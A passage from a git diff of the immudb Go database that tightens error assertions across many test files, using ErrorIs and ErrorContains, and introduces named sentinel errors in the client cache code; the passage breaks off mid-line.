+- pkg/stream/ventryparser_test.go | 9 +- pkg/stream/ventryreceiver_test.go | 13 +- pkg/stream/ventrysender_test.go | 5 +- pkg/stream/zparser_test.go | 3 +- pkg/stream/zsender_test.go | 12 +- pkg/streamutils/files_test.go | 6 +- 76 files changed, 466 insertions(+), 461 deletions(-) diff --git a/pkg/api/schema/ops_test.go b/pkg/api/schema/ops_test.go index 2ae57289c3..28527c77c0 100644 --- a/pkg/api/schema/ops_test.go +++ b/pkg/api/schema/ops_test.go @@ -17,6 +17,7 @@ limitations under the License. package schema import ( + "fmt" "testing" "github.com/stretchr/testify/require" @@ -136,7 +137,7 @@ func TestOps_ValidateUnexpectedType(t *testing.T) { }, } err := aOps.Validate() - require.Error(t, err) + require.ErrorContains(t, err, fmt.Sprintf("unexpected type %T", &Op_Unexpected{})) } func TestExecAllOpsNilElementFound(t *testing.T) { @@ -153,7 +154,7 @@ func TestExecAllOpsNilElementFound(t *testing.T) { bOps[1] = op aOps := &ExecAllRequest{Operations: bOps} err := aOps.Validate() - require.Equal(t, status.Error(codes.InvalidArgument, "Op is not set"), err) + require.ErrorIs(t, err, status.Error(codes.InvalidArgument, "Op is not set")) } func TestOps_ValidateOperationNilElementFound(t *testing.T) { @@ -165,5 +166,5 @@ func TestOps_ValidateOperationNilElementFound(t *testing.T) { }, } err := aOps.Validate() - require.Equal(t, status.Error(codes.InvalidArgument, "operation is not set"), err) + require.ErrorIs(t, err, status.Error(codes.InvalidArgument, "operation is not set")) } diff --git a/pkg/api/schema/row_value_test.go b/pkg/api/schema/row_value_test.go index a34e2deeea..0839d4573a 100644 --- a/pkg/api/schema/row_value_test.go +++ b/pkg/api/schema/row_value_test.go @@ -80,7 +80,7 @@ func TestRowComparison(t *testing.T) { require.False(t, equals) _, err = intValue1.Equal(trueValue) - require.Equal(t, sql.ErrNotComparableValues, err) + require.ErrorIs(t, err ,sql.ErrNotComparableValues) equals, err = intValue1.Equal(intValue2) require.NoError(t, err) diff --git a/pkg/api/schema/sql_test.go b/pkg/api/schema/sql_test.go index f95f3992cf..4680215230 100644 --- a/pkg/api/schema/sql_test.go +++ b/pkg/api/schema/sql_test.go @@ -109,7 +109,7 @@ func TestAsSQLValue(t *testing.T) { sqlVal, err := asSQLValue(d.val) require.EqualValues(t, d.sqlVal, sqlVal) if d.isErr { - require.Error(t, err) + require.ErrorIs(t, err, sql.ErrInvalidValue) } }) } diff --git a/pkg/auth/passwords_test.go b/pkg/auth/passwords_test.go index f40c0930f2..aa9d4fdb43 100644 --- a/pkg/auth/passwords_test.go +++ b/pkg/auth/passwords_test.go @@ -54,5 +54,5 @@ func TestDecodeBase64Password(t *testing.T) { require.Equal(t, "password", decodedPass) _, err = DecodeBase64Password(strings.TrimSuffix(pass, "=")) - require.Error(t, err) + require.ErrorContains(t, err, "error decoding password from base64 string") } diff --git a/pkg/auth/serverinterceptors_test.go b/pkg/auth/serverinterceptors_test.go index af7d39a21b..13fbeb0ba0 100644 --- a/pkg/auth/serverinterceptors_test.go +++ b/pkg/auth/serverinterceptors_test.go @@ -92,7 +92,7 @@ func TestServerStreamInterceptorTampered(t *testing.T) { } sh := ServerStreamInterceptor(nil, &MockedServerStream{}, nil, h) - require.Error(t, sh) + require.ErrorContains(t, sh, "the database should be checked manually as we detected possible tampering") } @@ -108,7 +108,7 @@ func TestServerStreamInterceptorNoAuth(t *testing.T) { } sh := ServerStreamInterceptor(nil, &MockedServerStream{}, nil, h) - require.Error(t, sh) + require.ErrorContains(t, sh, "server has authentication disabled: only local connections are accepted") } @@ -138,7 +138,7 @@ func TestServerUnaryInterceptorTampered(t *testing.T) { } _, err := ServerUnaryInterceptor(context.Background(), "method", nil, h) - require.Error(t, err) + require.ErrorContains(t, err, "the database should be checked manually as we detected possible tampering") } func TestServerUnaryInterceptorNoAuth(t *testing.T) { @@ -152,5 +152,5 @@ func TestServerUnaryInterceptorNoAuth(t *testing.T) { } _, err := ServerUnaryInterceptor(context.Background(), "method", nil, h) - require.Error(t, err) + require.ErrorContains(t, err, "server has authentication disabled: only local connections are accepted") } diff --git a/pkg/client/auditor/auditor_test.go b/pkg/client/auditor/auditor_test.go index 25a180f7da..1ff19fb3a0 100644 --- a/pkg/client/auditor/auditor_test.go +++ b/pkg/client/auditor/auditor_test.go @@ -90,8 +90,7 @@ func TestDefaultAuditorPasswordDecodeErr(t *testing.T) { func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", os.Stdout), nil) - require.Error(t, err) - require.Contains(t, err.Error(), "illegal base64 data at input byte 0") + require.ErrorContains(t, err, "illegal base64 data at input byte 0") } func TestDefaultAuditorLoginErr(t *testing.T) { @@ -422,14 +421,13 @@ func TestPublishAuditNotification(t *testing.T) { Hash: "hash-22", Signature: Signature{Signature: "sig22", PublicKey: "pk22"}}, ) - require.Error(t, err) - require.Contains( + require.ErrorContains( t, - err.Error(), + err, "POST http://some-non-existent-url.com request with payload") - require.Contains( + require.ErrorContains( t, - err.Error(), + err, "got unexpected response status Internal Server Error with response body Some error") require.NotContains(t, err.Error(), notificationConfig.Password) @@ -443,6 +441,5 @@ func TestPublishAuditNotification(t *testing.T) { &State{Tx: 1111, Hash: "hash-1111"}, &State{Tx: 2222, Hash: "hash-2222"}, ) - require.Error(t, err) - require.Contains(t, err.Error(), "invalid control character in URL") + require.ErrorContains(t, err, "invalid control character in URL") } diff --git a/pkg/client/cache/common_test.go b/pkg/client/cache/common_test.go index 277efa1340..7a0cb56a6f 100644 --- a/pkg/client/cache/common_test.go +++ b/pkg/client/cache/common_test.go @@ -56,7 +56,7 @@ func TestValidateServerIdentityInFile(t *testing.T) { func TestValidateServerIdentityInFileCornerCases(t *testing.T) { t.Run("fail to validate identity file with invalid path", func(t *testing.T) { err := validateServerIdentityInFile("identity1", "uuid1", "/invalid/folder/name?") - require.Error(t, err) + require.ErrorContains(t, err, "could not check the identity of the server") // This is not validation error, it's some OS error require.NotErrorIs(t, err, ErrServerIdentityValidationFailed) }) diff --git a/pkg/client/cache/errors.go b/pkg/client/cache/errors.go index c5c5295a84..984457f261 100644 --- a/pkg/client/cache/errors.go +++ b/pkg/client/cache/errors.go @@ -21,4 +21,5 @@ import "errors" var ( ErrPrevStateNotFound = errors.New("could not find previous state") ErrLocalStateCorrupted = errors.New("local state is corrupted") + ErrNotImplemented = errors.New("no implemented") ) diff --git a/pkg/client/cache/history_file_cache.go b/pkg/client/cache/history_file_cache.go index 84ecbfa7c5..a8f54d857c 100644 --- a/pkg/client/cache/history_file_cache.go +++ b/pkg/client/cache/history_file_cache.go @@ -144,12 +144,12 @@ func (history *historyFileCache) unmarshalRoot(fpath string, db string) (*schema r := strings.Split(line, ":") if r[1] == "" { - return nil, fmt.Errorf("could not find previous state") + return nil, ErrPrevStateNotFound } oldRoot, err := base64.StdEncoding.DecodeString(r[1]) if err != nil { - return nil, fmt.Errorf("could not find previous state") + return nil, ErrPrevStateNotFound } if err = proto.Unmarshal(oldRoot, state); err != nil { diff --git a/pkg/client/cache/history_file_cache_test.go b/pkg/client/cache/history_file_cache_test.go index 8249dc37d7..da5be2b002 100644 --- a/pkg/client/cache/history_file_cache_test.go +++ b/pkg/client/cache/history_file_cache_test.go @@ -24,6 +24,7 @@ import ( "path/filepath" "testing" + "github.com/golang/protobuf/proto" "github.com/stretchr/testify/require" "github.com/codenotary/immudb/pkg/api/schema" @@ -102,7 +103,7 @@ func TestHistoryFileCache_SetError(t *testing.T) { fc := NewHistoryFileCache(dir) err := fc.Set("uuid", "dbName", nil) - require.Error(t, err) + require.ErrorIs(t, err, proto.ErrNil) } func TestHistoryFileCache_GetError(t *testing.T) { @@ -115,8 +116,7 @@ func TestHistoryFileCache_GetError(t *testing.T) { err := ioutil.WriteFile(filepath.Join(dir, "exists"), []byte("data"), 0644) require.NoError(t, err) _, err = fc.Get("exists", "dbName") - require.Error(t, err) - require.Contains(t, err.Error(), "exists") + require.ErrorContains(t, err, "exists") } func TestHistoryFileCache_SetMissingFolder(t *testing.T) { @@ -125,7 +125,7 @@ func TestHistoryFileCache_SetMissingFolder(t *testing.T) { defer os.RemoveAll(dir) err := fc.Set("uuid", "dbName", nil) - require.Error(t, err) + require.ErrorContains(t, err, "error ensuring states dir") } func TestHistoryFileCache_WalkFolderNotExistsCreated(t *testing.T) { @@ -152,7 +152,7 @@ func TestHistoryFileCache_getStatesFileInfosError(t *testing.T) { func TestHistoryFileCache_unmarshalRootErr(t *testing.T) { fc := &historyFileCache{} _, err := fc.unmarshalRoot("path", "db") - require.Error(t, err) + require.ErrorContains(t, err, "error reading state from") } func TestHistoryFileCache_unmarshalRootSingleLineErr(t *testing.T) { @@ -165,7 +165,7 @@ func TestHistoryFileCache_unmarshalRootSingleLineErr(t *testing.T) { } fc := &historyFileCache{} _, err = fc.unmarshalRoot(tmpFile.Name(), dbName) - require.Error(t, err) + require.ErrorIs(t, err, ErrPrevStateNotFound) } func TestHistoryFileCache_unmarshalRootUnableToDecodeErr(t *testing.T) { @@ -178,7 +178,7 @@ func TestHistoryFileCache_unmarshalRootUnableToDecodeErr(t *testing.T) { } fc := &historyFileCache{} _, err = fc.unmarshalRoot(tmpFile.Name(), dbName) - require.Error(t, err) + require.ErrorIs(t, err, ErrPrevStateNotFound) } func TestHistoryFileCache_unmarshalRootUnmarshalErr(t *testing.T) { @@ -191,7 +191,7 @@ func TestHistoryFileCache_unmarshalRootUnmarshalErr(t *testing.T) { } fc := &historyFileCache{} _, err = fc.unmarshalRoot(tmpFile.Name(), dbName) - require.Error(t, err) + require.ErrorContains(t, err, "error unmarshaling state from") } func TestHistoryFileCache_unmarshalRootEmptyFile(t *testing.T) { diff --git a/pkg/client/cache/inmemory_cache.go b/pkg/client/cache/inmemory_cache.go index 21cb261d02..c6a52857bc 100644 --- a/pkg/client/cache/inmemory_cache.go +++ b/pkg/client/cache/inmemory_cache.go @@ -63,11 +63,11 @@ func (imc *inMemoryCache) Set(serverUUID, db string, state *schema.ImmutableStat } func (imc *inMemoryCache) Lock(serverUUID string) (err error) { - return fmt.Errorf("not implemented") + return ErrNotImplemented } func (imc *inMemoryCache) Unlock() (err error) { - return fmt.Errorf("not implemented") + return ErrNotImplemented } func (imc *inMemoryCache) ServerIdentityCheck(serverIdentity, serverUUID string) error { diff --git a/pkg/client/cache/inmemory_cache_test.go b/pkg/client/cache/inmemory_cache_test.go index 6926abdc38..db8bc052fc 100644 --- a/pkg/client/cache/inmemory_cache_test.go +++ b/pkg/client/cache/inmemory_cache_test.go @@ -50,15 +50,15 @@ func TestInMemoryCache(t *testing.T) { require.Equal(t, []byte{21}, root.GetTxHash()) _, err = imc.Get("unknownServer", "db11") - require.Error(t, err) + require.ErrorContains(t, err, "no roots found for server") _, err = imc.Get("server1", "unknownDb") - require.Error(t, err) + require.ErrorContains(t, err, "no state found for server") err = imc.Lock("server1") - require.Error(t, err) + require.ErrorIs(t, err, ErrNotImplemented) err = imc.Unlock() - require.Error(t, err) + require.ErrorIs(t, err, ErrNotImplemented) err = imc.ServerIdentityCheck("server1", "identity1") require.NoError(t, err) diff --git a/pkg/client/client_test.go b/pkg/client/client_test.go index d006fbdf68..89034931db 100644 --- a/pkg/client/client_test.go +++ b/pkg/client/client_test.go @@ -35,7 +35,7 @@ func TestLogErr(t *testing.T) { require.Nil(t, logErr(logger, "error: %v", nil)) err := fmt.Errorf("expected error") - require.Error(t, logErr(logger, "error: %v", err)) + require.ErrorIs(t, logErr(logger, "error: %v", err), err) } func TestImmuClient_Truncate(t *testing.T) { diff --git a/pkg/client/clienttest/immuclient_mock_test.go b/pkg/client/clienttest/immuclient_mock_test.go index 669a152223..f6c6beb6c0 100644 --- a/pkg/client/clienttest/immuclient_mock_test.go +++ b/pkg/client/clienttest/immuclient_mock_test.go @@ -84,37 +84,38 @@ func TestImmuClientMock(t *testing.T) { } require.True(t, icm.IsConnected()) - require.Equal(t, errWaitForHealthCheck, icm.WaitForHealthCheck(context.Background())) - _, err := icm.Connect(context.Background()) + err := icm.WaitForHealthCheck(context.Background()) + require.ErrorIs(t, err, errWaitForHealthCheck) + + _, err = icm.Connect(context.Background()) + require.ErrorIs(t, err, errConnect) - require.Equal(t, errConnect, err) err = icm.Disconnect() + require.ErrorIs(t, err, errDisconnect) - require.Equal(t, errDisconnect, err) _, err = icm.Login(context.Background(), nil, nil) + require.ErrorIs(t, err, errLogin) - require.Equal(t, errLogin, err) + require.ErrorIs(t, errLogout, icm.Logout(context.Background())) - require.Equal(t, errLogout, icm.Logout(context.Background())) _, err = icm.VerifiedGet(context.Background(), nil) + require.ErrorIs(t, err, errVerifiedGet) - require.Equal(t, errVerifiedGet, err) _, err = icm.VerifiedSet(context.Background(), nil, nil) + require.ErrorIs(t, err, errVerifiedSet) - require.Equal(t, errVerifiedSet, err) _, err = icm.Set(context.Background(), nil, nil) + require.ErrorIs(t, err, errSet) - require.Equal(t, errSet, err) _, err = icm.VerifiedSetReference(context.Background(), nil, nil) + require.ErrorIs(t, err, errVerifiedReference) - require.Equal(t, errVerifiedReference, err) _, err = icm.VerifiedZAdd(context.Background(), nil, 0., nil) + require.ErrorIs(t, err, errVerifiedZAdd) - require.Equal(t, errVerifiedZAdd, err) _, err = icm.History(context.Background(), nil) - - require.Equal(t, errHistory, err) + require.ErrorIs(t, err, errHistory) _, err = icm.CreateDatabaseV2(context.Background(), "", nil) - require.Equal(t, errCreateDatabase, err) + require.ErrorIs(t, err, errCreateDatabase) } diff --git a/pkg/client/homedir/homedir_test.go b/pkg/client/homedir/homedir_test.go index 93b02647ad..c416a89cf3 100644 --- a/pkg/client/homedir/homedir_test.go +++ b/pkg/client/homedir/homedir_test.go @@ -20,6 +20,7 @@ import ( "os" "os/user" "path/filepath" + "syscall" "testing" "github.com/stretchr/testify/require" @@ -122,7 +123,7 @@ func TestDirFileFileFromUserHomeDir(t *testing.T) { pathToFile := filepath.Join(t.TempDir(), "testfile") _, err := hds.ReadFileFromUserHomeDir(pathToFile) - require.Error(t, err) + require.ErrorIs(t, err, syscall.ENOENT) err = hds.WriteFileToUserHomeDir(content, pathToFile) require.NoError(t, err) @@ -138,7 +139,7 @@ func TestDeleteDirFileFromUserHomeDir(t *testing.T) { pathToFile := filepath.Join(t.TempDir(), "testfile") err := hds.DeleteFileFromUserHomeDir(pathToFile) - require.Error(t, err) + require.ErrorIs(t, err, syscall.ENOENT) err = hds.WriteFileToUserHomeDir(content, pathToFile) require.NoError(t, err) diff --git a/pkg/client/session_test.go b/pkg/client/session_test.go index 9b3e7c042f..c7b995706a 100644 --- a/pkg/client/session_test.go +++ b/pkg/client/session_test.go @@ -32,15 +32,13 @@ import ( func TestImmuClient_OpenSession_ErrParsingKey(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithServerSigningPubKey("invalid")) err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") - require.Error(t, err) require.ErrorIs(t, err, syscall.ENOENT) } func TestImmuClient_OpenSession_ErrDefaultChunkTooSmall(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithStreamChunkSize(1)) err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") - require.Error(t, err) - require.Equal(t, err.Error(), stream.ErrChunkTooSmall) + require.ErrorContains(t, err, stream.ErrChunkTooSmall) } func TestImmuClient_OpenSession_DialError(t *testing.T) { diff --git a/pkg/client/stream_test.go b/pkg/client/stream_test.go index 9ea351fa1c..1fd0cfc344 100644 --- a/pkg/client/stream_test.go +++ b/pkg/client/stream_test.go @@ -30,8 +30,7 @@ func TestImmuClient_Errors(t *testing.T) { ctx := context.Background() _, err := client.StreamVerifiedSet(ctx, nil) - require.Error(t, err) - require.Equal(t, "no key-values specified", err.Error()) + require.ErrorContains(t, err, "no key-values specified") // test ErrNotConnected errors fs := []func() (string, error){ @@ -60,6 +59,6 @@ func TestImmuClient_Errors(t *testing.T) { } for _, f := range fs { fn, err := f() - require.Equal(t, ErrNotConnected.Error(), err.Error(), fn) + require.ErrorIs(t, err, ErrNotConnected, fn) } } diff --git a/pkg/client/tokenservice/inmemory_test.go b/pkg/client/tokenservice/inmemory_test.go index 329c9c3c83..b0bc4ac0f8 100644 --- a/pkg/client/tokenservice/inmemory_test.go +++ b/pkg/client/tokenservice/inmemory_test.go @@ -25,7 +25,7 @@ import ( func TestNewInmemoryTokenService(t *testing.T) { ts := NewInmemoryTokenService() err := ts.SetToken("db1", "") - require.Equal(t, ErrEmptyTokenProvided, err) + require.ErrorIs(t, err, ErrEmptyTokenProvided) err = ts.SetToken("db", "tk") require.NoError(t, err) present, err := ts.IsTokenPresent() diff --git a/pkg/client/tokenservice/token_service_test.go b/pkg/client/tokenservice/token_service_test.go index 7678987a91..e31cd55eae 100644 --- a/pkg/client/tokenservice/token_service_test.go +++ b/pkg/client/tokenservice/token_service_test.go @@ -30,7 +30,7 @@ func TestTokenSevice_setToken(t *testing.T) { fn := filepath.Join(t.TempDir(), "token") ts := file{tokenFileName: fn, hds: homedir.NewHomedirService()} err := ts.SetToken("db1", "") - require.Equal(t, ErrEmptyTokenProvided, err) + require.ErrorIs(t, err, ErrEmptyTokenProvided) err = ts.SetToken("db1", "toooooken") require.NoError(t, err) database, err := ts.GetDatabase() diff --git a/pkg/database/all_ops_test.go b/pkg/database/all_ops_test.go index a5a8ffb8d8..d6ffd6addb 100644 --- a/pkg/database/all_ops_test.go +++ b/pkg/database/all_ops_test.go @@ -198,7 +198,7 @@ func TestSetBatchInvalidKvKey(t *testing.T) { Value: []byte(`val`), }, }}) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestSetBatchDuplicatedKey(t *testing.T) { @@ -216,27 +216,27 @@ func TestSetBatchDuplicatedKey(t *testing.T) { }, }}, ) - require.Equal(t, schema.ErrDuplicatedKeysNotSupported, err) + require.ErrorIs(t, err, schema.ErrDuplicatedKeysNotSupported) } func TestExecAllOps(t *testing.T) { db := makeDb(t) _, err := db.ExecAll(context.Background(), nil) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, store.ErrIllegalArguments, err) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{}) - require.Error(t, err) + require.ErrorIs(t, err, schema.ErrEmptySet) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: []*schema.Op{}}) - require.Error(t, err) + require.ErrorIs(t, err, schema.ErrEmptySet) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ nil, }, }) - require.Error(t, err) + require.ErrorContains(t, err, "Op is not set") batchCount := 10 batchSize := 100 @@ -350,7 +350,7 @@ func TestExecAllOpsEmptyList(t *testing.T) { Operations: []*schema.Op{}, } _, err := db.ExecAll(context.Background(), aOps) - require.Equal(t, schema.ErrEmptySet, err) + require.ErrorIs(t, err, schema.ErrEmptySet) } func TestExecAllOpsInvalidKvKey(t *testing.T) { @@ -369,7 +369,7 @@ func TestExecAllOpsInvalidKvKey(t *testing.T) { }, } _, err := db.ExecAll(context.Background(), aOps) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) aOps = &schema.ExecAllRequest{ Operations: []*schema.Op{ @@ -394,7 +394,7 @@ func TestExecAllOpsInvalidKvKey(t *testing.T) { }, } _, err = db.ExecAll(context.Background(), aOps) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) aOps = &schema.ExecAllRequest{ Operations: []*schema.Op{ @@ -435,7 +435,7 @@ func TestExecAllOpsInvalidKvKey(t *testing.T) { }, } _, err = db.ExecAll(context.Background(), aOps) - require.Equal(t, ErrReferencedKeyCannotBeAReference, err) + require.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference) } func TestExecAllOpsZAddKeyNotFound(t *testing.T) { @@ -457,7 +457,7 @@ func TestExecAllOpsZAddKeyNotFound(t *testing.T) { }, } _, err := db.ExecAll(context.Background(), aOps) - require.Equal(t, store.ErrTxNotFound, err) + require.ErrorIs(t, err, store.ErrTxNotFound) } func TestExecAllOpsNilElementFound(t *testing.T) { @@ -475,7 +475,7 @@ func TestExecAllOpsNilElementFound(t *testing.T) { } _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: bOps}) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestSetOperationNilElementFound(t *testing.T) { @@ -489,7 +489,7 @@ func TestSetOperationNilElementFound(t *testing.T) { }, } _, err := db.ExecAll(context.Background(), aOps) - require.Error(t, err) + require.ErrorContains(t, err, "operation is not set") } func TestExecAllOpsUnexpectedType(t *testing.T) { @@ -503,7 +503,7 @@ func TestExecAllOpsUnexpectedType(t *testing.T) { }, } _, err := db.ExecAll(context.Background(), aOps) - require.Error(t, err) + require.ErrorContains(t, err, "unexpected type") } func TestExecAllOpsDuplicatedKey(t *testing.T) { @@ -575,7 +575,7 @@ func TestExecAllOpsDuplicatedKeyZAdd(t *testing.T) { } _, err := db.ExecAll(context.Background(), aOps) - require.Equal(t, schema.ErrDuplicatedZAddNotSupported, err) + require.ErrorIs(t, err, schema.ErrDuplicatedZAddNotSupported) } func TestStore_ExecAllOpsConcurrent(t *testing.T) { @@ -1123,7 +1123,7 @@ func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { }, } _, err := db.ExecAll(context.Background(), aOps) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) // Ops payload aOps = &schema.ExecAllRequest{ @@ -1158,7 +1158,7 @@ func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { }, } _, err = db.ExecAll(context.Background(), aOps) - require.Equal(t, ErrReferencedKeyCannotBeAReference, err) + require.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference) aOps = &schema.ExecAllRequest{ Operations: []*schema.Op{ @@ -1175,7 +1175,7 @@ func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { }, } _, err = db.ExecAll(context.Background(), aOps) - require.Equal(t, ErrFinalKeyCannotBeConvertedIntoReference, err) + require.ErrorIs(t, err, ErrFinalKeyCannotBeConvertedIntoReference) ref, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myReference`), SinceTx: idx1.Id}) require.NoError(t, err) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index d328c19530..c04cc47b65 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -115,10 +115,10 @@ func TestDefaultDbCreation(t *testing.T) { require.Zero(t, n) _, err = db.Count(context.Background(), nil) - require.Error(t, err) + require.ErrorContains(t, err, "Functionality not yet supported: Count") _, err = db.CountAll(context.Background()) - require.Error(t, err) + require.ErrorContains(t, err, "Functionality not yet supported: Count") dbPath := path.Join(options.GetDBRootPath(), db.GetName()) require.DirExists(t, dbPath) @@ -155,7 +155,7 @@ func TestDbCreation(t *testing.T) { func TestOpenWithMissingDBDirectories(t *testing.T) { options := DefaultOption().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) _, err := OpenDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) - require.Error(t, err) + require.ErrorContains(t, err, "missing database directories") } func TestOpenWithIllegalDBName(t *testing.T) { @@ -220,10 +220,10 @@ func TestDbSetGet(t *testing.T) { var trustedIndex uint64 _, err := db.Set(context.Background(), nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.VerifiableGet(context.Background(), nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) for i, kv := range kvs[:1] { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) @@ -302,7 +302,7 @@ func TestDbSetGet(t *testing.T) { } _, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte{}}) - require.Error(t, err) + require.ErrorIs(t, err, ErrIllegalArguments) } func TestDelete(t *testing.T) { @@ -402,7 +402,7 @@ func TestSafeSetGet(t *testing.T) { require.NoError(t, err) _, err = db.VerifiableSet(context.Background(), nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.VerifiableSet(context.Background(), &schema.VerifiableSetRequest{ SetRequest: &schema.SetRequest{ @@ -415,7 +415,7 @@ func TestSafeSetGet(t *testing.T) { }, ProveSinceTx: 1, }) - require.Equal(t, ErrIllegalState, err) + require.ErrorIs(t, err, ErrIllegalState) kv := []*schema.VerifiableSetRequest{ { @@ -510,7 +510,7 @@ func TestTxByID(t *testing.T) { db := makeDb(t) _, err := db.TxByID(context.Background(), nil) - require.Error(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) txhdr1, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ @@ -822,7 +822,7 @@ func TestVerifiableTxByID(t *testing.T) { db := makeDb(t) _, err := db.VerifiableTxByID(context.Background(), nil) - require.Error(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) var txhdr *schema.TxHeader @@ -875,12 +875,12 @@ func TestTxScan(t *testing.T) { } _, err = db.TxScan(context.Background(), nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: 0, }) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: 1, @@ -978,7 +978,7 @@ func TestHistory(t *testing.T) { time.Sleep(1 * time.Millisecond) _, err = db.History(context.Background(), nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.History(context.Background(), &schema.HistoryRequest{ Key: kvs[0].Key, diff --git a/pkg/database/reference_test.go b/pkg/database/reference_test.go index 4fafb6e5d7..dbd056f403 100644 --- a/pkg/database/reference_test.go +++ b/pkg/database/reference_test.go @@ -45,7 +45,7 @@ func TestStoreReference(t *testing.T) { Key: []byte(`myTag`), ReferencedKey: []byte(`secondKey`), } - _, err = db.SetReference(context.Background(), refOpts) + txhdr, err = db.SetReference(context.Background(), refOpts) require.ErrorIs(t, err, store.ErrKeyNotFound) refOpts = &schema.ReferenceRequest{ @@ -61,7 +61,7 @@ func TestStoreReference(t *testing.T) { Key: []byte(`firstKey`), ReferencedKey: []byte(`firstKey`), } - _, err = db.SetReference(context.Background(), refOpts) + txhdr, err = db.SetReference(context.Background(), refOpts) require.ErrorIs(t, err, ErrFinalKeyCannotBeConvertedIntoReference) refOpts = &schema.ReferenceRequest{ @@ -137,7 +137,7 @@ func TestStoreInvalidReferenceToReference(t *testing.T) { require.NoError(t, err) _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag2`), ReferencedKey: []byte(`myTag1`)}) - require.Equal(t, ErrReferencedKeyCannotBeAReference, err) + require.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference) } func TestStoreReferenceAsyncCommit(t *testing.T) { @@ -285,7 +285,7 @@ func TestStoreIndexReference(t *testing.T) { func TestStoreReferenceKeyNotProvided(t *testing.T) { db := makeDb(t) _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), AtTx: 123, BoundRef: true}) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestStore_GetOnReferenceOnSameKeyReturnsAlwaysLastValue(t *testing.T) { @@ -325,14 +325,14 @@ func TestStore_ReferencedItemNotFound(t *testing.T) { db := makeDb(t) _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`notExists`)}) - require.Equal(t, store.ErrKeyNotFound, err) + require.ErrorIs(t, err, store.ErrKeyNotFound) } func TestStoreVerifiableReference(t *testing.T) { db := makeDb(t) _, err := db.VerifiableSetReference(context.Background(), nil) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) req := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}} txhdr, err := db.Set(context.Background(), req) @@ -342,7 +342,7 @@ func TestStoreVerifiableReference(t *testing.T) { ReferenceRequest: nil, ProveSinceTx: txhdr.Id, }) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) refReq := &schema.ReferenceRequest{ Key: []byte(`myTag`), @@ -353,7 +353,7 @@ func TestStoreVerifiableReference(t *testing.T) { ReferenceRequest: refReq, ProveSinceTx: txhdr.Id + 1, }) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) vtx, err := db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{ ReferenceRequest: refReq, diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index e843b00bee..a8253b6bf0 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -63,7 +63,7 @@ func TestReadOnlyReplica(t *testing.T) { Key: []byte("key"), ReferencedKey: []byte("refkey"), }) - require.Equal(t, ErrIsReplica, err) + require.ErrorIs(t, err, ErrIsReplica) _, err = replica.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte("set"), diff --git a/pkg/database/sorted_set_test.go b/pkg/database/sorted_set_test.go index 4ffc0731b5..aeebddaa6c 100644 --- a/pkg/database/sorted_set_test.go +++ b/pkg/database/sorted_set_test.go @@ -65,7 +65,7 @@ func TestStoreIndexExists(t *testing.T) { BoundRef: true, } _, err2 = 